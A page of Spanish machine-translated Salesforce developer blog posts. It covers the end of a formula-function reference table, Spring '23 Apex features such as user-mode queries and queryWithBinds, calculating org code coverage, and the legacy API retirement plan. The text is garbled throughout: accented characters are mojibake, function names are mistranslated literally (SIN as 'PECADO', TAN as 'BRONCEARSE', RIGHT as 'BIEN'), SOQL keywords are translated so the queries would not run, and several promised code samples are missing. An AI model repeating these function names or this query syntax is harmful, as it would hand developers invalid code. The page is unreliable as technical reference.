56 M脥N. M脥N. Devuelve el menor de todos los argumentos. MIN(n煤mero,n煤mero,鈥)
57 MODIFICACI脫N MODIFICACI脫N Devuelve el resto despu茅s de dividir un n煤mero por un divisor MOD(n煤mero,divisor)
58 MES MES Devuelve el mes, un n煤mero entre 1 (enero) y 12 (diciembre) MES(fecha)
59 NO NO Cambia FALSO a VERDADERO o VERDADERO a FALSO No es l贸gico)
60 AHORA AHORA Devuelve una fecha y hora que representa el momento actual AHORA()
61 VALOR NULO VALOR NULO Comprueba si expresi贸n es nula y devuelve expresi贸n_sustituta si es nula. Si la expresi贸n no es nula, devuelve el valor de la expresi贸n original. NULLVALUE(expresi贸n, expresi贸n_sustituta)
62 O O Comprueba si alguno de los argumentos es verdadero y devuelve VERDADERO o FALSO. Devuelve FALSO solo si todos los argumentos son falsos O(l贸gico1,l贸gico2,鈥)
63 Pi Pi Devuelve pi PI()
64 PICKLISTCOUNT PICKLISTCOUNT Devuelve el n煤mero de valores seleccionados en una lista de selecci贸n m煤ltiple. PICKLISTCOUNT(multiselect_picklist_field)
sesenta y cinco PREDECIR PREDECIR Devuelve una predicci贸n de Einstein Discovery basada en un Id. de registro o una lista de campos y sus valores. PREDICT(PredDefId, [recordId] | [campo, valor, 鈥)
66 REGEX REGEX Devuelve VERDADERO si Texto coincide con la expresi贸n regular RegEx_Text. De lo contrario, devuelve FALSO. REGEX(Texto, RegEx_Text)
67 CONTRARRESTAR CONTRARRESTAR Devuelve la cadena de texto en orden inverso REVERSO (texto)
68 BIEN BIEN Devuelve el n煤mero especificado de caracteres desde el final de una cadena de texto DERECHA(texto, num_chars)
69 REDONDO REDONDO Redondea un n煤mero a un n煤mero espec铆fico de d铆gitos REDONDO(n煤mero,n煤m_d铆gitos)
70 RPAD RPAD Rellene el lado derecho del valor con espacios o la cadena de relleno opcional para que la longitud sea padded_length RPAD(texto, padded_length [, pad_string])
71 PECADO PECADO Devuelve el seno del n煤mero, donde el n煤mero dado en radianes SIN(n煤mero)
72 SQRT SQRT Devuelve la ra铆z cuadrada positiva de un n煤mero SQRT(n煤mero)
73 SUSTITUTO SUSTITUTO Sustituye texto_nuevo por texto_antiguo en una cadena de texto. Use SUSTITUIR cuando desee reemplazar texto espec铆fico en una cadena de texto SUSTITUIR (texto, texto_antiguo, texto_nuevo)
74 BRONCEARSE BRONCEARSE Devuelve la tangente del n煤mero, donde el n煤mero dado en radianes TAN(n煤mero)
75 TEXTO TEXTO Convierte un valor en texto usando un formato de visualizaci贸n est谩ndar TEXTO(valor)
76 HOY HOY Devuelve la fecha actual HOY()
77 RECORTAR RECORTAR Elimina todos los espacios de una cadena de texto excepto los espacios individuales entre palabras RECORTAR (texto)
78 TRONCO TRONCO Trunca un n煤mero a un n煤mero espec铆fico de d铆gitos TRUNC(n煤mero,n煤m_d铆gitos)
79 UNIXTIMESTAMP UNIXTIMESTAMP Devuelve la cantidad de segundos desde el 1 de enero de 1970 para la fecha dada, o la cantidad de segundos en el d铆a para una hora. UNIXTIMESTAMP(fecha/hora)
80 SUPERIOR SUPERIOR Convierte todas las letras del valor a may煤sculas SUPERIOR (texto)
81 C脫DIGOURL C脫DIGOURL Codifica texto y valores de campo combinados para su uso en direcciones URL C脫DIGOURL(texto)
82 URLPARA URLPARA Devuelve la URL del destino seleccionado con entradas opcionales expresadas como par谩metros de consulta URLFOR(objetivo, id, [entradas], [sin anular])
83 VALOR VALOR Convierte una cadena de texto que representa un n煤mero en un n煤mero VALOR(texto)
84 D脥A LABORABLE D脥A LABORABLE Devuelve el d铆a de la semana para la fecha dada, usando 1 para el domingo, 2 para el lunes, hasta 7 para el s谩bado. D脥A DE LA SEMANA (fecha)
85 A脩O A脩O Devuelve el a帽o de una fecha, un n煤mero entre 1900 y 9999 A脩O (fecha)

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Escriba Apex simplificado y seguro con las actualizaciones de Spring '23 鈽侊笍

Escriba Apex simplificado y seguro con las actualizaciones de Spring '23 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Escriba Apex simplificado y seguro con las actualizaciones de Spring '23 | Blog de desarrolladores de Salesforce

La versi贸n Spring '23 de Salesforce Platform, disponible en general a partir del 13 de febrero, agreg贸 algunas actualizaciones fant谩sticas al lenguaje de Apex. Hemos implementado algunas de las actualizaciones de Spring '23 en la aplicaci贸n de ejemplo Apex-Recipes , lo que ha simplificado significativamente la base de c贸digo existente.

En esta publicaci贸n de blog, revisaremos las actualizaciones en Spring '23 para Apex con ejemplos de c贸digo. Estas actualizaciones ayudan a los desarrolladores a crear aplicaciones m谩s seguras para sus organizaciones.

1. Operaciones de base de datos en modo usuario

Apex, de forma predeterminada, se ejecuta en modo Sistema con permisos elevados, lo que significa que los desarrolladores pueden pasar por alto los controles de seguridad sin darse cuenta al escribir c贸digo.

Antes de continuar, revisemos r谩pidamente los controles de seguridad que los administradores de Salesforce pueden colocar para garantizar que los usuarios solo puedan acceder y manipular los datos para los que est谩n autorizados a ver o editar. Las vi帽etas a continuaci贸n resumen diferentes mecanismos para aplicar un modelo de seguridad detallado para sus datos de Salesforce.

  • CRUD significa "Crear, Leer, Actualizar y Eliminar", las cuatro operaciones b谩sicas que un usuario puede realizar en un registro en Salesforce
  • FLS significa "Seguridad de nivel de campo", que determina qu茅 campos dentro de un registro que un usuario puede ver o editar
  • El uso compartido de registros permite al administrador configurar reglas sobre qui茅n puede ver o editar un registro en funci贸n de varios criterios.

Con las operaciones de base de datos en modo usuario , los desarrolladores pueden optar por ejecutar Apex en el contexto del usuario, lo que garantiza que se apliquen las reglas CRUD/FLS y de uso compartido del usuario configuradas. Veamos esto en acci贸n con ejemplos de c贸digo detallados.

Aplicar CRUD/FLS y reglas de uso compartido para SOQL est谩tico

Puede indicar el modo de operaci贸n usando la palabra clave WITH USER_MODE para el modo de usuario y WITH SYSTEM_MODE para el modo de sistema en su consulta SOQL. Vea el ejemplo a continuaci贸n.

<dx-code-block title language code-block="List accounts = [SELECT Name, ShippingCity, ShippingStreet FROM Account WITH USER_MODE];禄>

En el ejemplo anterior, al usar la palabra clave WITH USER_MODE , la consulta respeta estas restricciones de seguridad:

  • Permisos de lectura en el objeto Cuenta (configurado para Perfil/Conjunto de permisos) para el usuario
  • Permisos de campo (FLS) para Nombre, Calle de env铆o y Ciudad de env铆o para el usuario
  • Configuraci贸n de nivel de registro (como valores predeterminados de toda la organizaci贸n y reglas de colaboraci贸n) para el objeto Cuenta para el usuario

El WITH USER_MODE la palabra clave tambi茅n es compatible con agregar SOQL para hacer cumplir CRUD/FLS y reglas de uso compartido de registros.

<dx-code-block title language code-block="List groupedResults = [SELECT SUM(AMOUNT) total FROM Opportunity WHERE AccountId = :accountId WITH USER_MODE];禄>

En el ejemplo anterior, al usar la palabra clave WITH USER_MODE , la consulta respeta estas restricciones de seguridad:

  • Permisos de lectura en el objeto Oportunidad para el usuario
  • Permisos de campo (FLS) para Amount y AccountId (s铆, incluso los campos utilizados en la cl谩usula SOQL WHERE se verifican para FLS) para el usuario
  • Acceso a nivel de registro (como valores predeterminados de toda la organizaci贸n y reglas de colaboraci贸n) en el objeto Oportunidad para el usuario

Para obtener m谩s ejemplos, consulte la clase SOQLRecipes de la aplicaci贸n apex-recipes.

Aplicar CRUD/FLS y reglas de uso compartido para SOQL din谩mico

Los nuevos m茅todos Database (ver documentos ) ahora admiten un par谩metro AccessLevel que le permite ejecutar operaciones de base de datos en modo de usuario en lugar de en el modo de sistema predeterminado. Veamos un c贸digo de ejemplo para ejecutar un SOQL din谩mico en el modo de usuario.

<dx-code-block title language code-block="String query = 'SELECT ID, Name FROM Account LIMIT 1';
List lstAccounts = Database.query(query, AccessLevel.USER_MODE);禄>

En el ejemplo anterior, el modo de usuario se aplicar谩 de manera similar al ejemplo de SOQL est谩tico que vimos en la secci贸n anterior.

Para obtener m谩s ejemplos, consulte la clase DynamicSOQLRecipes de apex-recipes. Hemos actualizado todos los m茅todos de la clase para usar el par谩metro AccessLevel .

Hacer cumplir CRUD/FLS y reglas de uso compartido para SOSL

WITH USER_MODE o WITH SYSTEM_MODE tambi茅n son compatibles con declaraciones SOSL (Lenguaje de b煤squeda de objetos de Salesforce).

Veamos un ejemplo de una instrucci贸n SOSL est谩tica.

<dx-code-block title language code-block="String keyword = 'Alaska';
List<List> searchResults = [ FIND :keyword IN Name FIELDS RETURNING Account(Name), Contact(LastName, Account.Name) WITH USER_MODE ];禄>

En el ejemplo anterior, al usar la palabra clave WITH USER_MODE , la consulta respeta estas restricciones de seguridad:

  • Permisos de lectura en los objetos Cuenta y Contacto para el usuario
  • Permisos de campo (FLS) para el campo Nombre en Cuenta y campo Apellido en Contacto para el usuario
  • Acceso a nivel de registro (como valores predeterminados de toda la organizaci贸n y reglas de colaboraci贸n) en los objetos Cuenta y Contacto para el usuario

Para Dynamic SOSL, los nuevos m茅todos Search (ver documentos ) tambi茅n admiten el par谩metro AccessLevel similar a los nuevos m茅todos Database . A continuaci贸n se muestra un ejemplo de c贸mo usar el par谩metro AccessLevel para ejecutar SOSL en el contexto de los usuarios.

<dx-code-block title language code-block="String query = 'FIND 'Edge*' IN ALL FIELDS RETURNING Account(ID,Name), Contact, Lead'; List<List> searchResults = Search.query(query, AccessLevel.USER_MODE);禄>

Hacer cumplir CRUD/FLS y reglas de uso compartido para DML

Las operaciones de la base de datos pueden especificar el modo de usuario o sistema utilizando las palabras clave as user o as system .

El siguiente es un c贸digo de ejemplo que ejecuta DML en el modo de usuario aplicando CRUD/FLS y reglas de uso compartido.

Para Dynamic DML, los desarrolladores pueden utilizar el par谩metro AccessLevel para ejecutar operaciones de base de datos en el modo de usuario o en el modo de sistema.

Echemos un vistazo a un ejemplo de la aplicaci贸n apex-recipes para ver c贸mo puede dise帽ar m茅todos para que sean gen茅ricos, de modo que el consumidor del m茅todo pueda decidir ejecutar el c贸digo en el modo de usuario o de sistema.

El fragmento de c贸digo siguiente muestra c贸mo invocar este m茅todo en el modo de usuario.

El siguiente fragmento de c贸digo muestra c贸mo invocar este m茅todo en el modo de sistema.

Para obtener m谩s ejemplos, consulte la clase DMLRecipes de la aplicaci贸n apex-recipes.

Consideraciones importantes

  1. Las operaciones de la base de datos en modo usuario generan excepciones de seguridad si se encuentra una infracci贸n CRUD/FLS. Si tiene un requisito para evitar excepciones y a煤n aplicar la seguridad, use el m茅todo Security.stripInaccessible() (consulte los documentos ). Consulte la clase StripInaccessibleRecipes (ver documentos ) de la aplicaci贸n apex-recipes para ver ejemplos de c贸digo.
  2. Si usa la palabra clave WITH SECURITY_ENFORCED en sus declaraciones SOQL para hacer cumplir CRUD/FLS, ahora le recomendamos que use la palabra clave WITH USER_MODE en su lugar debido a las siguientes razones:
    1. La consulta SOQL que usa la palabra clave WITH USER_MODE admite muchas innovaciones nuevas, como reglas de restricci贸n, reglas de alcance y cualquier otra operaci贸n de seguridad para el acceso a datos y CRUD/FLS, que la plataforma puede agregar en el futuro, por lo que es una especie de prueba del futuro
    2. La consulta SOQL que usa la palabra clave WITH USER_MODE maneja casos de uso de seguridad complejos mucho mejor. Por ejemplo, WITH USER_MODE es compatible con SOSL y consultas polim贸rficas .
    3. Las declaraciones SOQL que usan la palabra clave WITH USER_MODE manejan CRUD/FLS para los campos usados en la cl谩usula where y order by o campos usados en la consulta de relaci贸n o b煤squeda polim贸rfica
    4. Las consultas SOQL que utilizan la palabra clave WITH USER_MODE funcionan mucho mejor en comparaci贸n con el uso WITH SECURITY_ENFORCED
  3. El modo de usuario anula la configuraci贸n de nivel de clase para la consulta SOQL o DML escrita en modo de usuario. Exploremos esto con el siguiente c贸digo de ejemplo.

<dx-code-block title language code-block="public without sharing ExampleCls { public static List getAccount() { String query = ‘SELECT Id FROM Account Limit 1’; return Database.query(query, AccessLevel.USER_MODE); } }禄>

En el ejemplo anterior, aunque la clase Apex est谩 configurada para ejecutarse en el contexto del sistema (sin la palabra clave compartida), la consulta SOQL se ejecuta en el modo de usuario, lo que refuerza la seguridad. El modo de usuario para la operaci贸n (SOQL/SOSL o DML) anula el uso compartido a nivel de clase.

2. Pasar din谩micamente variables de vinculaci贸n a consultas SOQL

Spring '23 agreg贸 nuevos m茅todos como Database.queryWithBinds , Database.getQueryLocatorWithBinds y Database.countQueryWithBinds .

Estos m茅todos proporcionan los siguientes beneficios:

  • Anteriormente, si los desarrolladores usaban variables de vinculaci贸n en SOQL din谩mico (usando el m茅todo Database.query ) que est谩n fuera de contexto, la consulta no pod铆a resolver las variables. Con queryWithBinds , las variables de vinculaci贸n de la consulta se resuelven directamente desde un par谩metro Map con una clave en lugar de variables de c贸digo de Apex.
  • Con Database.queryWithBinds , los ataques de inyecci贸n SOQL se evitan autom谩ticamente.

Echemos un vistazo a un ejemplo de c贸digo para comprender el segundo punto con m谩s profundidad.

<dx-code-block title language code-block="public static List simpleBindingSoqlQuery(Map bindParams) { String query = ‘SELECT Id, Name ‘ + ‘FROM Account ‘ + ‘WHERE name = :name’; return Database.queryWithBinds( query, bindParams, AccessLevel.USER_MODE );
}禄>

El c贸digo anterior ejecuta un SOQL din谩mico en el modo de usuario. El m茅todo acepta un par谩metro Map y se puede llamar usando el c贸digo a continuaci贸n.

<dx-code-block title language code-block="String accountName = 'Codey And Co';
Map nameBind = new Map{‘name’ => accountName};
List accounts = simpleBindingSoqlQuery(nameBind);
System.debug(accounts);禄>

Tenga en cuenta que no es necesario que nos aseguremos de que el nombre de la variable est茅 en el mismo 谩mbito de m茅todo que la consulta din谩mica. Adem谩s, no es necesario usar el m茅todo String.escapeSingleQuotes para el valor en la variable name cuando se usa queryWithBinds .

Para obtener m谩s ejemplos de c贸digo, consulte esta solicitud de incorporaci贸n de cambios en nuestro repositorio de GitHub apex-recipes.

3. Especifique un retraso en la programaci贸n de trabajos en cola

Otra caracter铆stica importante que lanzamos en Spring '23 es la capacidad de especificar demoras para trabajos programados que se pueden poner en cola.

Puede ser beneficioso ajustar el tiempo antes de que se ejecute el trabajo en cola en los siguientes casos de uso:

  • Si el sistema externo tiene una velocidad limitada y puede sobrecargarse con trabajos en cola encadenados que realizan llamadas r谩pidas
  • Al sondear los resultados, y ejecutar demasiado r谩pido puede provocar el uso desperdiciado de los l铆mites diarios de Apex as铆ncrono

Usa el m茅todo System.enqueue(queueable, delay) (ver docs ) para especificar retrasos. Los retrasos pueden variar de cero a 10 minutos. Veamos un ejemplo para comprender mejor esta funci贸n.

El ejemplo anterior agrega un trabajo para la ejecuci贸n asincr贸nica retrasada al pasar una instancia de la implementaci贸n de su clase de la interfaz Queueable para la ejecuci贸n. Hay un retraso m铆nimo de cinco minutos antes de que se ejecute el trabajo.

Especificar un retraso predeterminado en toda la organizaci贸n en la programaci贸n de trabajos en cola

Actualmente, si tiene un trabajo en cola de Apex, utiliza el tiempo est谩ndar en cola sin demoras adicionales. Los administradores pueden definir un retraso predeterminado en toda la organizaci贸n para todos los trabajos en cola que no especifican retraso usando
System.enqueue(queueable, delay) . Este es principalmente un mecanismo para manejar trabajos fuera de control que podr铆an estar ejecut谩ndose demasiado r谩pido.

Importante consideraci贸n

Cuando establece el retraso en 0 (cero), el trabajo en cola se ejecuta lo m谩s r谩pido posible. Con trabajos en cola encadenados, implemente un mecanismo para ralentizar o detener el trabajo si es necesario. Sin un mecanismo a prueba de fallas de este tipo, puede alcanzar r谩pidamente el l铆mite de Apex as铆ncrono diario.

Tambi茅n hay una pr贸xima funci贸n Beta en la versi贸n Summer '23 (planificada para estar disponible el 10 de junio de 2023 en todas las organizaciones) que permite a los desarrolladores controlar la profundidad de los trabajos en cola encadenados.

4. Obtenga el SObject de origen de una instancia DescribeFieldResult usando el nuevo m茅todo getSObjectType

El m茅todo getSObjectType (ver documentos ) en el objeto DescribeFieldResult (ver documentos ) es un m茅todo de mejora de la calidad de vida del desarrollador que se implement贸 en Spring '23.

Anteriormente, los desarrolladores ten铆an que hackear y escribir c贸digo adicional para obtener el objeto de origen de la informaci贸n del esquema de campos obtenida a trav茅s de la descripci贸n del campo. Puede consultar las soluciones anteriores a trav茅s de esta publicaci贸n de stackexchange .

A continuaci贸n se muestra un ejemplo de c贸digo de c贸mo usar el nuevo m茅todo getSObjectType .

Con el m茅todo getSObjectType , los desarrolladores ya no tienen que pasar el nombre del objeto como una cadena. Consulte un ejemplo m谩s completo en las notas de la versi贸n de Spring '23.

Actualizaciones de herramientas

Hemos actualizado el servidor de idioma de Apex para admitir las 煤ltimas adiciones de sintaxis, como insert as user, insert as system y mucho m谩s. Y ahora admitimos las 煤ltimas adiciones de sintaxis en el lanzamiento reciente de las Extensiones de Salesforce para VSCode .

Tambi茅n quiero agradecer a Dang Mai por actualizar el complemento m谩s bonito para Apex (usado para formatear el c贸digo Apex autom谩ticamente) para admitir todas las palabras clave introducidas para las operaciones de la base de datos en modo usuario.

Conclusi贸n

En conclusi贸n, la versi贸n Spring '23 de Salesforce incluye varias actualizaciones. Mediante el uso de estas nuevas funciones, los desarrolladores pueden crear aplicaciones m谩s eficaces y seguras para sus organizaciones.

Los equipos de productos de Apex no se detienen ah铆 y hay m谩s innovaciones en la hoja de ruta. Puede obtener una vista previa de lo que viene para Apex en Summer '23 (nuestro pr贸ximo lanzamiento) en la vista previa de las notas de la versi贸n . Tambi茅n recomiendo ver la grabaci贸n de la sesi贸n TrailblazerDX '23, Apex: What's New and What's Coming , para aprender m谩s sobre lo que se est谩 cocinando.

Referencias adicionales

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una d茅cada de experiencia en la creaci贸n de productos a escala empresarial en la plataforma de Salesforce. Actualmente se est谩 enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a trav茅s de su Twitter @msrivastav13 .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Calcule la cobertura general del c贸digo en Salesforce

Calcule la cobertura general del c贸digo en Salesforce

脷ltima actualizaci贸n el 12 de mayo de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo calcular la cobertura general del c贸digo en Salesforce?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Compilar todas las clases de prueba
  • Calcule la cobertura de c贸digo de su organizaci贸n
  • Use SOQL a trav茅s de la API de herramientas para calcular la cobertura del c贸digo
  • y mucho m谩s

Isabella Stewart trabaja como administradora de Salesforce en Gurukul On Cloud (GoC). GoC est谩 trabajando con un proveedor externo para implementar Field Service Lightning para mejorar la experiencia del cliente. Isabella recibi贸 una tarea de su gerente para calcular la cobertura de c贸digo en PROD.

Pr谩ctica guiada (nosotros hacemos):

La cobertura de c贸digo es una t茅cnica de prueba que determina qu茅 c贸digo se est谩 probando y qu茅 no se est谩 probando. A menudo se representa como un porcentaje de la cantidad de l铆neas de c贸digo probadas para una clase o desencadenador de Apex.

Realice los pasos a continuaci贸n para obtener una cobertura de c贸digo confiable:

Paso 1: compilar todas las clases de prueba

  1. Vaya a Configuraci贸n | C贸digo personalizado | Ejecuci贸n de pruebas de Apex .
  2. Desmarque Cobertura de c贸digo agregado de solo tienda .
  3. Luego, borre el historial de pruebas navegando a Ver historial de pruebas | Borrar datos de prueba.
  4. El 煤ltimo paso es compilar todas las clases de prueba. Al navegar a Configuraci贸n | C贸digo personalizado | Clases de Apex .

Paso 2: verifique la cobertura general del c贸digo

Una vez que se completen las pruebas unitarias de Apex, verifique la cobertura general del c贸digo para su organizaci贸n siguiendo las instrucciones a continuaci贸n:

  1. Vaya a Configuraci贸n | C贸digo personalizado | Clases de Apex .
  2. Haga clic en Estimar la cobertura de c贸digo de su organizaci贸n .

Tambi茅n puede ejecutar la siguiente consulta para averiguar la cobertura de toda la organizaci贸n. Si consulta desde Developer Console Query Editor, aseg煤rese de seleccionar Use Tooling API .

ApexOrgWideCoverage representa los resultados de las pruebas de cobertura de c贸digo para toda una organizaci贸n.


SELECCIONE Porcentaje cubierto DESDE ApexOrgWideCoverage

El siguiente ejemplo de consulta SOQL recupera resultados de cobertura de c贸digo para una clase o activador espec铆fico:


SELECCIONE TestMethodName, NumLinesCovered, NumLinesUncovered FROM ApexCodeCoverage DONDE ApexClassOrTrigger.Name='AccountTrigger'

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Una actualizaci贸n importante de nuestro plan de jubilaci贸n Legacy API 鈽侊笍

Una actualizaci贸n importante de nuestro plan de jubilaci贸n Legacy API 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Una actualizaci贸n importante de nuestro plan de jubilaci贸n Legacy API | Blog de desarrolladores de Salesforce

En 2021, anunciamos unplan para retirar las versiones heredadas de la API de la plataforma anualmente, de modo que nuestros equipos de ingenier铆a pudieran centrar sus esfuerzos de desarrollo en mejorar las 煤ltimas versiones de la API para mejorar la experiencia general de Salesforce al crear funciones personalizadas a trav茅s de aplicaciones. En esta publicaci贸n, compartiremos una actualizaci贸n importante del plan de retiro de la API heredada, algunos consejos sobre c贸mo identificar el uso de la API heredada y c贸mo actualizar esas solicitudes de API.

Actualizaci贸n importante del plan de jubilaci贸n de la API heredada

La 煤ltima fase del plan de retiro de la API heredada se anunci贸 a principios de 2022 y entr贸 en vigencia durante el lanzamiento de Summer '22. Con esta versi贸n, dejamos de usar las versiones SOAP, REST y Bulk API que van de la 21.0 a la 30.0. Como parte de nuestro plan original, estas versiones de API ya no ser铆an compatibles, pero permanecer铆an disponibles hasta que las retiremos en la versi贸n Summer '23.

Luego de consultar con la comunidad y nuestros socios, decidimos retrasar el pr贸ximo retiro de la API al lanzamiento de Summer '25 para garantizar una transici贸n sin problemas (consulte el art铆culo de conocimientos ). Debido a esta extensi贸n, las versiones de API 21.0 a 30.0 a煤n no son compatibles, pero seguir谩n estando disponibles hasta el lanzamiento de Summer '25.

Desde Summer '21 , cada vez que realiza una llamada a una API heredada con REST o Bulk API, ver谩 un encabezado Warning en la respuesta con un mensaje que describe el problema como este:

Una vez que las versiones heredadas de la API se retiren en Summer '25, las solicitudes a esas versiones fallar谩n con los siguientes errores:

  • La API REST devolver谩 el estado HTTP 410: GONE
  • La API SOAP devolver谩 el estado HTTP 500: UNSUPPORTED_API_VERSION
  • La API masiva devolver谩 el estado HTTP 400: InvalidVersion

Ahora que conoce el 煤ltimo plan, veamos c贸mo puede identificar si se ve afectado y c贸mo.

Identificar el uso de la API heredada

Puede verificar las llamadas API heredadas usted mismo en cualquier momento, y hay varias formas de hacerlo.

Todas las transacciones de la API de Salesforce se registran en los registros de Monitoreo de eventos. El monitoreo de eventos normalmente requiere una licencia espec铆fica, pero hemos expuesto el evento Uso total de la API ( ApiTotalUsage ) a todos los clientes de forma gratuita, para que pueda monitorear el consumo de la API heredada e identificar los clientes y las integraciones que deben actualizarse. Las organizaciones habilitadas para API tienen acceso gratuito a los archivos de registro de eventos de uso total de API con retenci贸n de datos de 1 d铆a. Con el Monitoreo de eventos habilitado, puede acceder a este y a todos los dem谩s tipos de archivos de registro de eventos con una retenci贸n de datos de 30 d铆as.

Los registros contienen campos clave que gu铆an sus investigaciones:

  • Los clientes proporcionan CLIENT_NAME opcionalmente, pero es especialmente 煤til para identificar aplicaciones e integraciones que realizan llamadas API que requieren investigaci贸n y ajustes. Compartiremos m谩s sobre este campo en la 煤ltima secci贸n de esta publicaci贸n.
  • CONNECTED_APP_ID le dice qu茅 aplicaci贸n conectada est谩 en el origen de las llamadas a la API.
  • USER_ID y CLIENT_IP son 煤tiles para identificar el origen de las llamadas API heredadas, pero existe la posibilidad de que estos valores se compartan entre varias aplicaciones en caso de que se realice una cuenta t茅cnica de usuario/sistema (ID de usuario compartido) o llamadas desde una ubicaci贸n de oficina f铆sica ( direcci贸n IP compartida). Compartiremos c贸mo usar la nueva licencia de usuario de integraci贸n para abordar los problemas de usuarios compartidos en la 煤ltima secci贸n de esta publicaci贸n.
  • Los campos API_FAMILY , API_VERSION , API_RESOURCE , URI y HTTP_METHOD le brindan pistas valiosas sobre el tipo de operaciones que realizan los clientes API.

Compartimos varias herramientas para acceder a los registros en nuestra publicaci贸n anterior , y tambi茅n puede usar herramientas de terceros para automatizar esta tarea. Compartiremos una opci贸n adicional que puede ser relevante para los usuarios preocupados por ejecutar c贸digo de terceros con acceso API a su organizaci贸n.

Uso de Postman para identificar el uso de la API heredada

Puede utilizar la colecci贸n Postman de las API de la plataforma de Salesforce para inspeccionar sus registros de Salesforce con estos pasos:

  • Configure la colecci贸n Postman y autent铆quese en su organizaci贸n .
  • Enumere los archivos de registro que rastrean el acceso a la API:
    1. Seleccione REST > Solicitud de consulta .
    2. Reemplace el valor del par谩metro de consulta q con la siguiente consulta SOQL: SELECT LogFile, EventType, CreatedDate FROM EventLogFile WHERE EventType IN ('API', 'RestApi', 'BulkApi', 'ApiTotalUsage')
    3. Haz clic en Enviar.
    4. Recupere los ID del archivo de registro de la respuesta.

  • Para cada archivo de registro devuelto en el paso anterior, recupere y escanee el contenido del registro:
    1. Seleccione REST > Registros > Obtener solicitud de archivo de registro de eventos .
    2. Establezca el ID del archivo de registro en el valor de la variable de ruta id .
    3. Haz clic en Enviar.
    4. Lea el contenido del archivo de registro en la respuesta. Puede moverse a la pesta帽a Respuesta sin procesar y guardarla como un archivo CSV o usar la pesta帽a Visualizar para obtener una vista previa del contenido directamente en Postman.
    5. Mire la columna URI o API_VERSION y verifique las versiones de API heredadas (versiones 30.0 y anteriores).

Despu茅s de identificar que est谩 llamando a versiones de API heredadas, el siguiente paso es actualizar estas dependencias a versiones de API heredadas.

Actualizar dependencias a versiones de API heredadas

El procedimiento de actualizaci贸n depende del tipo de API que est茅 utilizando, pero aqu铆 hay una breve descripci贸n general de lo que se requiere:

  • Para llamadas API basadas en SOAP, genere un nuevo WSDL e incorp贸relo a la integraci贸n afectada
  • Para puntos finales REST, actualice el n煤mero de versi贸n en el URI a la versi贸n principal actual
  • Aunque puede actualizar de manera similar los URI para puntos finales /async en el caso de Bulk API, la forma m谩s gratificante de actualizar las llamadas heredadas es adoptar Bulk API 2.0 y disfrutar del flujo de trabajo m谩s simple y los l铆mites mejorados.

Tenga en cuenta que las aplicaciones (p. ej., el cargador de datos) y los paquetes tambi茅n pueden estar realizando llamadas API heredadas debido a bibliotecas obsoletas (conectores de servicios web, kit de herramientas AJAX, interfaz COM SForceOfficeToolkit o kit de herramientas Force.com para PHP, solo por nombrar algunos) . Aseg煤rate de actualizarlos tambi茅n.

Y recuerda: no importa el cambio, aseg煤rate de realizar pruebas de regresi贸n para asegurarte de que todo funciona como se esperaba.

Prepar谩ndonos para el futuro

Ya sea que se haya visto afectado por el plan de jubilaci贸n heredado o no, debe planificar el futuro retiro de la versi贸n API. Le dejaremos algunas pr谩cticas recomendadas para el gobierno de API.

Aproveche las licencias de usuario de la integraci贸n de Salesforce

En Spring '23, presentamos un nuevo tipo de licencia dedicado a las integraciones: la licencia de usuario de Integraci贸n de Salesforce . Esta nueva licencia se basa en el principio de acceso con privilegios m铆nimos y le permite crear usuarios solo de API para integraciones de sistema a sistema con derechos de acceso espec铆ficos. La principal ventaja de este nuevo tipo de licencia es la seguridad, pero tambi茅n permite un mejor seguimiento de las acciones de integraci贸n, ya que podr谩 asignar distintos usuarios solo de API a la integraci贸n y relacionar las llamadas de API de integraci贸n con ID de usuario espec铆ficas en sus registros.

Se incluyen cinco licencias de usuario de Integraci贸n de Salesforce en cada organizaci贸n Enterprise, Unlimited y Performance Edition. Tambi茅n puede comunicarse con su ejecutivo de cuenta si necesita m谩s.

Especifique un nombre de cliente al crear integraciones de API REST

Al crear nuevas integraciones con la API REST, aseg煤rese de especificar un nombre de cliente utilizando el encabezado de solicitud Sforce-Call-Options de la siguiente manera:

Sforce-Call-Options: client=myClientName

El nombre del cliente que especifique en el encabezado estar谩 visible en los registros en el campo CLIENT_NAME . Esto le ayuda a depurar y auditar las llamadas a la API de integraci贸n.

palabras de cierre

Esperamos que este retraso adicional en nuestro plan de retiro de API heredado permita una transici贸n sin problemas, y lo alentamos a que comience hoy, independientemente de la nueva fecha l铆mite. Migrar a versiones de API m谩s nuevas siempre es una apuesta segura para obtener acceso a nuevas capacidades y mejorar el rendimiento y la seguridad.

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido t茅cnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, rob贸tica y VR. S铆galo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Configurar el tama帽o de lote para el activador de eventos de plataforma

